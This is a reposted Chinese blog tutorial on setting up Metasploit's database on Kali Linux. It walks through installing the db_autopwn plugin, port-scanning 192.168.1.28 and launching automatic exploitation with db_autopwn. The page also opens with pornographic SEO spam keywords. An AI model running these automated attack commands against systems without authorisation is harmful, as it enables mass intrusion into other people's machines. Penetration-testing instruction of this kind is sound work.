日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【研究】Metasploit自动攻击模块

發布時間:2023/11/29 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【研究】Metasploit自动攻击模块 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

環境:kali-linux-2017.3-vm-amd64

一、安裝postgresql數據庫

apt-get install postgresql

apt-get install rubygems libpq-dev

apt-get install libreadline-dev

apt-get install libssl-dev

apt-get install libpq5

apt-get install ruby-dev

apt-get install libpq-dev

直接全部copy到kali中執行即可

二、自動配置數據庫

service postgres start?????????? 啟動服務

msfdb init???????????? ????????????? 自動創建數據庫、用戶、密碼

?

三、手動配置數據庫

passwd postgres 修改postgresql數據庫密碼

?

su postgres??? 進入數據庫

createuser hello –P?????? 創建用戶hello,并設置密碼

createdb --owner=hello db_hello????? 給用戶hello創建一個數據庫db_hello

psql db_hello??????? 進入db_hello數據庫

?

四、安裝db_autopwn.rb模塊

cd /usr/share/metasploit-framework/plugins?? 定位到msf插件目錄

git clone https://github.com/hahwul/metasploit-db_autopwn.git? 安裝db_autopwn

?

cd metasploit-db_autopwn

mv db_autopwn.rb /usr/share/metasploit-framework/plugins

打開msfconsole,查看db_autopwn是否安裝成功,執行如下命令:

load db_autopwn???????? 出現下圖結果說明安裝成功

?

五、借助db_autopwn進行自動加載模塊進行攻擊

msfconsole

use auxiliary/scanner/portscan/tcp???? 調用tcp掃描模塊

set rhosts 192.168.1.28

set threads 10

exploit

?

自動加載模塊

db_autopwn –t –p –r –e

?

?

轉載于:https://www.cnblogs.com/peterpan0707007/p/8084981.html

總結

以上是生活随笔為你收集整理的【研究】Metasploit自动攻击模块的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。